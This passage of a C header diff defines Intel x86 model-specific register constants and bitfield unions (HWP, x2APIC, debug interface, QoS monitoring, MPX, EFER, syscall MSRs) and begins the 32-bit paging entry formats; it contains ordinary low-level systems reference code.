IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Desired_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t desired_performance : 8; +#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_BIT 16 +#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_FLAG 0xFF0000 +#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] Energy_Performance_Preference. + * + * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[10] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t energy_performance_preference : 8; +#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_BIT 24 +#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0xFF000000 +#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_MASK 0xFF +#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 24) & 0xFF) + + /** + * [Bits 41:32] Activity_Window. + * + * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[9] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t activity_window : 10; +#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_BIT 32 +#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_FLAG 0x3FF00000000 +#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_MASK 0x3FF +#define IA32_HWP_REQUEST_ACTIVITY_WINDOW(_) (((_) >> 32) & 0x3FF) + + /** + * [Bit 42] Package_Control. + * + * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[11] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t package_control : 1; +#define IA32_HWP_REQUEST_PACKAGE_CONTROL_BIT 42 +#define IA32_HWP_REQUEST_PACKAGE_CONTROL_FLAG 0x40000000000 +#define IA32_HWP_REQUEST_PACKAGE_CONTROL_MASK 0x01 +#define IA32_HWP_REQUEST_PACKAGE_CONTROL(_) (((_) >> 42) & 0x01) + uint64_t reserved1 : 21; + }; + + uint64_t flags; +} ia32_hwp_request_register; + + +/** + * Log bits indicating changes to Guaranteed & excursions to Minimum. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + */ +#define IA32_HWP_STATUS 0x00000777 +typedef union +{ + struct + { + /** + * [Bit 0] Guaranteed_Performance_Change. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.5(HWP Feedback)] + */ + uint64_t guaranteed_performance_change : 1; +#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_BIT 0 +#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_FLAG 0x01 +#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_MASK 0x01 +#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 2] Excursion_To_Minimum. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.5(HWP Feedback)] + */ + uint64_t excursion_to_minimum : 1; +#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_BIT 2 +#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_FLAG 0x04 +#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_MASK 0x01 +#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM(_) (((_) >> 2) & 0x01) + uint64_t reserved2 : 61; + }; + + uint64_t flags; +} ia32_hwp_status_register; + + +/** + * x2APIC ID Register. + * + * @remarks If CPUID.01H:ECX[21] = 1 && IA32_APIC_BASE.[10] = 1 + * @see Vol3A[10.12(EXTENDED XAPIC (X2APIC))] + */ +#define IA32_X2APIC_APICID 0x00000802 + + /** + * x2APIC Version Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_VERSION 0x00000803 + + /** + * x2APIC Task Priority Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_TPR 0x00000808 + + /** + * x2APIC Processor Priority Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_PPR 0x0000080A + + /** + * x2APIC EOI Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_EOI 0x0000080B + + /** + * x2APIC Logical Destination Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LDR 0x0000080D + + /** + * x2APIC Spurious Interrupt Vector Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_SIVR 0x0000080F + /** + * @defgroup ia32_x2apic_isr \ + * IA32_X2APIC_ISR(n) + * + * x2APIC In-Service Register Bits (n * 32 + 31):(n * 32). + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + * @{ + */ +#define IA32_X2APIC_ISR0 0x00000810 +#define IA32_X2APIC_ISR1 0x00000811 +#define IA32_X2APIC_ISR2 0x00000812 +#define IA32_X2APIC_ISR3 0x00000813 +#define IA32_X2APIC_ISR4 0x00000814 +#define IA32_X2APIC_ISR5 0x00000815 +#define IA32_X2APIC_ISR6 0x00000816 +#define IA32_X2APIC_ISR7 0x00000817 + /** + * @} + */ + + /** + * @defgroup ia32_x2apic_tmr \ + * IA32_X2APIC_TMR(n) + * + * x2APIC Trigger Mode Register Bits (n * 32 + 31):(n * 32). + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + * @{ + */ +#define IA32_X2APIC_TMR0 0x00000818 +#define IA32_X2APIC_TMR1 0x00000819 +#define IA32_X2APIC_TMR2 0x0000081A +#define IA32_X2APIC_TMR3 0x0000081B +#define IA32_X2APIC_TMR4 0x0000081C +#define IA32_X2APIC_TMR5 0x0000081D +#define IA32_X2APIC_TMR6 0x0000081E +#define IA32_X2APIC_TMR7 0x0000081F + /** + * @} + */ + + /** + * @defgroup ia32_x2apic_irr \ + * IA32_X2APIC_IRR(n) + * + * x2APIC Interrupt Request Register Bits (n * 32 + 31):(n * 32). + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + * @{ + */ +#define IA32_X2APIC_IRR0 0x00000820 +#define IA32_X2APIC_IRR1 0x00000821 +#define IA32_X2APIC_IRR2 0x00000822 +#define IA32_X2APIC_IRR3 0x00000823 +#define IA32_X2APIC_IRR4 0x00000824 +#define IA32_X2APIC_IRR5 0x00000825 +#define IA32_X2APIC_IRR6 0x00000826 +#define IA32_X2APIC_IRR7 0x00000827 + /** + * @} + */ + + + /** + * x2APIC Error Status Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_ESR 0x00000828 + + /** + * x2APIC LVT Corrected Machine Check Interrupt Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_CMCI 0x0000082F + + /** + * x2APIC Interrupt Command Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_ICR 0x00000830 + + /** + * x2APIC LVT Timer Interrupt Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_TIMER 0x00000832 + + /** + * x2APIC LVT Thermal Sensor Interrupt Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_THERMAL 0x00000833 + + /** + * x2APIC LVT Performance Monitor Interrupt Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_PMI 0x00000834 + + /** + * x2APIC LVT LINT0 Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_LINT0 0x00000835 + + /** + * x2APIC LVT LINT1 Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_LINT1 0x00000836 + + /** + * x2APIC LVT Error Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_ERROR 0x00000837 + + /** + * x2APIC Initial Count Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_INIT_COUNT 0x00000838 + + /** + * x2APIC Current Count Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_CUR_COUNT 0x00000839 + + /** + * x2APIC Divide Configuration Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_DIV_CONF 0x0000083E + + /** + * x2APIC Self IPI Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_SELF_IPI 0x0000083F + + /** + * Silicon Debug Feature Control. + * + * @remarks If CPUID.01H:ECX.[11] = 1 + */ +#define IA32_DEBUG_INTERFACE 0x00000C80 +typedef union +{ + struct + { + /** + * @brief Enable (R/W) + * + * [Bit 0] BIOS set 1 to enable Silicon debug features. Default is 0. + * + * @remarks If CPUID.01H:ECX.[11] = 1 + */ + uint64_t enable : 1; +#define IA32_DEBUG_INTERFACE_ENABLE_BIT 0 +#define IA32_DEBUG_INTERFACE_ENABLE_FLAG 0x01 +#define IA32_DEBUG_INTERFACE_ENABLE_MASK 0x01 +#define IA32_DEBUG_INTERFACE_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 29; + + /** + * @brief Lock (R/W) + * + * [Bit 30] If 1, locks any further change to the MSR. The lock bit is set automatically on the first SMI assertion even if + * not explicitly set by BIOS. Default is 0. + * + * @remarks If CPUID.01H:ECX.[11] = 1 + */ + uint64_t lock : 1; +#define IA32_DEBUG_INTERFACE_LOCK_BIT 30 +#define IA32_DEBUG_INTERFACE_LOCK_FLAG 0x40000000 +#define IA32_DEBUG_INTERFACE_LOCK_MASK 0x01 +#define IA32_DEBUG_INTERFACE_LOCK(_) (((_) >> 30) & 0x01) + + /** + * @brief Debug Occurred (R/O) + * + * [Bit 31] This "sticky bit" is set by hardware to indicate the status of bit 0. Default is 0. + * + * @remarks If CPUID.01H:ECX.[11] = 1 + */ + uint64_t debug_occurred : 1; +#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_BIT 31 +#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_FLAG 0x80000000 +#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_MASK 0x01 +#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED(_) (((_) >> 31) & 0x01) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} ia32_debug_interface_register; + + +/** + * L3 QOS Configuration. + * + * @remarks If ( CPUID.(EAX=10H, ECX=1):ECX.[2] = 1 ) + */ +#define IA32_L3_QOS_CFG 0x00000C81 +typedef union +{ + struct + { + /** + * @brief Enable (R/W) + * + * [Bit 0] Set 1 to enable L3 CAT masks and COS to operate in Code and Data Prioritization (CDP) mode. + */ + uint64_t enable : 1; +#define IA32_L3_QOS_CFG_ENABLE_BIT 0 +#define IA32_L3_QOS_CFG_ENABLE_FLAG 0x01 +#define IA32_L3_QOS_CFG_ENABLE_MASK 0x01 +#define IA32_L3_QOS_CFG_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_l3_qos_cfg_register; + + +/** + * L2 QOS Configuration. + * + * @remarks If ( CPUID.(EAX=10H, ECX=2):ECX.[2] = 1 ) + */ +#define IA32_L2_QOS_CFG 0x00000C82 +typedef union +{ + struct + { + /** + * @brief Enable (R/W) + * + * [Bit 0] Set 1 to enable L2 CAT masks and COS to operate in Code and Data Prioritization (CDP) mode. + */ + uint64_t enable : 1; +#define IA32_L2_QOS_CFG_ENABLE_BIT 0 +#define IA32_L2_QOS_CFG_ENABLE_FLAG 0x01 +#define IA32_L2_QOS_CFG_ENABLE_MASK 0x01 +#define IA32_L2_QOS_CFG_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_l2_qos_cfg_register; + + +/** + * Monitoring Event Select Register. + * + * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[12] = 1 ) + */ +#define IA32_QM_EVTSEL 0x00000C8D +typedef union +{ + struct + { + /** + * @brief Event ID + * + * [Bits 7:0] ID of a supported monitoring event to report via IA32_QM_CTR. + */ + uint64_t event_id : 8; +#define IA32_QM_EVTSEL_EVENT_ID_BIT 0 +#define IA32_QM_EVTSEL_EVENT_ID_FLAG 0xFF +#define IA32_QM_EVTSEL_EVENT_ID_MASK 0xFF +#define IA32_QM_EVTSEL_EVENT_ID(_) (((_) >> 0) & 0xFF) + uint64_t reserved1 : 24; + + /** + * @brief Resource Monitoring ID + * + * [Bits 63:32] ID for monitoring hardware to report monitored data via IA32_QM_CTR. + * + * @remarks Bits [N+31:32] N = Ceil (Log2 (CPUID.(EAX= 0FH,ECX=0H).EBX[31:0] + 1)) + */ + uint64_t resource_monitoring_id : 32; +#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_BIT 32 +#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_FLAG 0xFFFFFFFF00000000 +#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_MASK 0xFFFFFFFF +#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_qm_evtsel_register; + + +/** + * Monitoring Counter Register. + * + * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[12] = 1 ) + */ +#define IA32_QM_CTR 0x00000C8E +typedef union +{ + struct + { + /** + * [Bits 61:0] Resource Monitored Data. + */ + uint64_t resource_monitored_data : 62; +#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_BIT 0 +#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_FLAG 0x3FFFFFFFFFFFFFFF +#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_MASK 0x3FFFFFFFFFFFFFFF +#define IA32_QM_CTR_RESOURCE_MONITORED_DATA(_) (((_) >> 0) & 0x3FFFFFFFFFFFFFFF) + + /** + * @brief Unavailable + * + * [Bit 62] If 1, indicates data for this RMID is not available or not monitored for this resource or RMID. + */ + uint64_t unavailable : 1; +#define IA32_QM_CTR_UNAVAILABLE_BIT 62 +#define IA32_QM_CTR_UNAVAILABLE_FLAG 0x4000000000000000 +#define IA32_QM_CTR_UNAVAILABLE_MASK 0x01 +#define IA32_QM_CTR_UNAVAILABLE(_) (((_) >> 62) & 0x01) + + /** + * @brief Error + * + * [Bit 63] If 1, indicates an unsupported RMID or event type was written to IA32_PQR_QM_EVTSEL. + */ + uint64_t error : 1; +#define IA32_QM_CTR_ERROR_BIT 63 +#define IA32_QM_CTR_ERROR_FLAG 0x8000000000000000 +#define IA32_QM_CTR_ERROR_MASK 0x01 +#define IA32_QM_CTR_ERROR(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ia32_qm_ctr_register; + + +/** + * Resource Association Register. + * + * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[12] = 1) or (CPUID.(EAX=07H, ECX=0):EBX[15] = 1 ) ) + */ +#define IA32_PQR_ASSOC 0x00000C8F +typedef union +{ + struct + { + /** + * @brief Resource Monitoring ID (R/W) + * + * [Bits 31:0] ID for monitoring hardware to track internal operation, e.g., memory access. + * + * @remarks Bits [N-1:0] N = Ceil (Log2 (CPUID.(EAX= 0FH, ECX=0H).EBX[31:0] +1)) 31:N Reserved + */ + uint64_t resource_monitoring_id : 32; +#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_BIT 0 +#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_FLAG 0xFFFFFFFF +#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_MASK 0xFFFFFFFF +#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * @brief COS (R/W) + * + * [Bits 63:32] The class of service (COS) to enforce (on writes); returns the current COS when read. + * + * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[15] = 1 ) + */ + uint64_t cos : 32; +#define IA32_PQR_ASSOC_COS_BIT 32 +#define IA32_PQR_ASSOC_COS_FLAG 0xFFFFFFFF00000000 +#define IA32_PQR_ASSOC_COS_MASK 0xFFFFFFFF +#define IA32_PQR_ASSOC_COS(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_pqr_assoc_register; + + +/** + * Supervisor State of MPX Configuration. + * + * @remarks If (CPUID.(EAX=07H, ECX=0H):EBX[14] = 1) + */ +#define IA32_BNDCFGS 0x00000D90 +typedef union +{ + struct + { + /** + * [Bit 0] Enable Intel MPX in supervisor mode. + */ + uint64_t enable : 1; +#define IA32_BNDCFGS_ENABLE_BIT 0 +#define IA32_BNDCFGS_ENABLE_FLAG 0x01 +#define IA32_BNDCFGS_ENABLE_MASK 0x01 +#define IA32_BNDCFGS_ENABLE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Preserve the bounds registers for near branch instructions in the absence of the BND prefix. + */ + uint64_t bnd_preserve : 1; +#define IA32_BNDCFGS_BND_PRESERVE_BIT 1 +#define IA32_BNDCFGS_BND_PRESERVE_FLAG 0x02 +#define IA32_BNDCFGS_BND_PRESERVE_MASK 0x01 +#define IA32_BNDCFGS_BND_PRESERVE(_) (((_) >> 1) & 0x01) + uint64_t reserved1 : 10; + + /** + * [Bits 63:12] Base Address of Bound Directory. + */ + uint64_t bound_directory_base_address : 52; +#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_BIT 12 +#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_FLAG 0xFFFFFFFFFFFFF000 +#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_MASK 0xFFFFFFFFFFFFF +#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS(_) (((_) >> 12) & 0xFFFFFFFFFFFFF) + }; + + uint64_t flags; +} ia32_bndcfgs_register; + + +/** + * Extended Supervisor State Mask. + * + * @remarks If ( CPUID.(0DH, 1):EAX.[3] = 1 + */ +#define IA32_XSS 0x00000DA0 +typedef union +{ + struct + { + uint64_t reserved1 : 8; + + /** + * [Bit 8] Trace Packet Configuration State. + */ + uint64_t trace_packet_configuration_state : 1; +#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_BIT 8 +#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_FLAG 0x100 +#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_MASK 0x01 +#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 55; + }; + + uint64_t flags; +} ia32_xss_register; + + +/** + * Package Level Enable/disable HDC. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + */ +#define IA32_PKG_HDC_CTL 0x00000DB0 +typedef union +{ + struct + { + /** + * @brief HDC_Pkg_Enable (R/W) + * + * [Bit 0] Force HDC idling or wake up HDC-idled logical processors in the package. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + * @see Vol3B[14.5.2(Package level Enabling HDC)] + */ + uint64_t hdc_pkg_enable : 1; +#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_BIT 0 +#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_FLAG 0x01 +#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_MASK 0x01 +#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_pkg_hdc_ctl_register; + + +/** + * Enable/disable HWP. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + */ +#define IA32_PM_CTL1 0x00000DB1 +typedef union +{ + struct + { + /** + * @brief HDC_Allow_Block (R/W) + * + * [Bit 0] Allow/Block this logical processor for package level HDC control. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + * @see Vol3B[14.5.3(Logical-Processor Level HDC Control)] + */ + uint64_t hdc_allow_block : 1; +#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_BIT 0 +#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_FLAG 0x01 +#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_MASK 0x01 +#define IA32_PM_CTL1_HDC_ALLOW_BLOCK(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_pm_ctl1_register; + + +/** + * Per-Logical_Processor HDC Idle Residency. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + */ +#define IA32_THREAD_STALL 0x00000DB2 +typedef struct +{ + /** + * @brief Stall_Cycle_Cnt (R/W) + * + * Stalled cycles due to HDC forced idle on this logical processor. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + * @see Vol3B[14.5.4.1(IA32_THREAD_STALL)] + */ + uint64_t stall_cycle_count; +} ia32_thread_stall_register; + + +/** + * Extended Feature Enables. + * + * @remarks If CPUID.06H:EAX.[13] = 1 + */ +#define IA32_EFER 0xC0000080 +typedef union +{ + struct + { + /** + * @brief SYSCALL Enable (R/W) + * + * [Bit 0] Enables SYSCALL/SYSRET instructions in 64-bit mode. + */ + uint64_t syscall_enable : 1; +#define IA32_EFER_SYSCALL_ENABLE_BIT 0 +#define IA32_EFER_SYSCALL_ENABLE_FLAG 0x01 +#define IA32_EFER_SYSCALL_ENABLE_MASK 0x01 +#define IA32_EFER_SYSCALL_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 7; + + /** + * @brief IA-32e Mode Enable (R/W) + * + * [Bit 8] Enables IA-32e mode operation. + */ + uint64_t ia32e_mode_enable : 1; +#define IA32_EFER_IA32E_MODE_ENABLE_BIT 8 +#define IA32_EFER_IA32E_MODE_ENABLE_FLAG 0x100 +#define IA32_EFER_IA32E_MODE_ENABLE_MASK 0x01 +#define IA32_EFER_IA32E_MODE_ENABLE(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief IA-32e Mode Active (R) + * + * [Bit 10] Indicates IA-32e mode is active when set. + */ + uint64_t ia32e_mode_active : 1; +#define IA32_EFER_IA32E_MODE_ACTIVE_BIT 10 +#define IA32_EFER_IA32E_MODE_ACTIVE_FLAG 0x400 +#define IA32_EFER_IA32E_MODE_ACTIVE_MASK 0x01 +#define IA32_EFER_IA32E_MODE_ACTIVE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] Execute Disable Bit Enable. + */ + uint64_t execute_disable_bit_enable : 1; +#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_BIT 11 +#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_FLAG 0x800 +#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_MASK 0x01 +#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE(_) (((_) >> 11) & 0x01) + uint64_t reserved3 : 52; + }; + + uint64_t flags; +} ia32_efer_register; + + +/** + * System Call Target Address. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_STAR 0xC0000081 + + /** + * @brief IA-32e Mode System Call Target Address (R/W) + * + * Target RIP for the called procedure when SYSCALL is executed in 64-bit mode. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_LSTAR 0xC0000082 + + /** + * @brief IA-32e Mode System Call Target Address (R/W) + * + * Not used, as the SYSCALL instruction is not recognized in compatibility mode. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_CSTAR 0xC0000083 + + /** + * System Call Flag Mask. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_FMASK 0xC0000084 + + /** + * Map of BASE Address of FS. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_FS_BASE 0xC0000100 + + /** + * Map of BASE Address of GS. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_GS_BASE 0xC0000101 + + /** + * Swap Target of BASE Address of GS. + * + * @remarks If CPUID.80000001:EDX.[29] = 1 + */ +#define IA32_KERNEL_GS_BASE 0xC0000102 + + /** + * Auxiliary TSC. + * + * @remarks If CPUID.80000001H: EDX[27] = 1 or CPUID.(EAX=7,ECX=0):ECX[bit 22] = 1 + */ +#define IA32_TSC_AUX 0xC0000103 +typedef union +{ + struct + { + /** + * [Bits 31:0] AUX. Auxiliary signature of TSC. + */ + uint64_t tsc_auxiliary_signature : 32; +#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_BIT 0 +#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_FLAG 0xFFFFFFFF +#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_MASK 0xFFFFFFFF +#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE(_) (((_) >> 0) & 0xFFFFFFFF) + uint64_t reserved1 : 32; + }; + + uint64_t flags; +} ia32_tsc_aux_register; + +/** + * @} + */ + + /** + * @defgroup paging \ + * Paging + * @{ + */ + /** + * @defgroup paging_32 \ + * 32-Bit Paging + * + * A logical processor uses 32-bit paging if CR0.PG = 1 and CR4.PAE = 0. 32-bit paging translates 32-bit linear addresses + * to 40-bit physical addresses. Although 40 bits corresponds to 1 TByte, linear addresses are limited to 32 bits; at most + * 4 GBytes of linear-address space may be accessed at any given time. + * 32-bit paging uses a hierarchy of paging structures to produce a translation for a linear address. CR3 is used to locate + * the first paging-structure, the page directory. 32-bit paging may map linear addresses to either 4-KByte pages or + * 4-MByte pages. + * + * @see Vol3A[4.5(4-LEVEL PAGING)] (reference) + * @{ + */ + /** + * @brief Format of a 32-Bit Page-Directory Entry that Maps a 4-MByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 4-MByte page. + */ + uint32_t present : 1; +#define PDE_4MB_32_PRESENT_BIT 0 +#define PDE_4MB_32_PRESENT_FLAG 0x01 +#define PDE_4MB_32_PRESENT_MASK 0x01 +#define PDE_4MB_32_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t write : 1; +#define PDE_4MB_32_WRITE_BIT 1 +#define PDE_4MB_32_WRITE_FLAG 0x02 +#define PDE_4MB_32_WRITE_MASK 0x01 +#define PDE_4MB_32_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t supervisor : 1; +#define PDE_4MB_32_SUPERVISOR_BIT 2 +#define PDE_4MB_32_SUPERVISOR_FLAG 0x04 +#define PDE_4MB_32_SUPERVISOR_MASK 0x01 +#define PDE_4MB_32_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-MByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_write_through : 1; +#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-MByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_cache_disable : 1; +#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t accessed : 1; +#define PDE_4MB_32_ACCESSED_BIT 5 +#define PDE_4MB_32_ACCESSED_FLAG 0x20 +#define PDE_4MB_32_ACCESSED_MASK 0x01 +#define 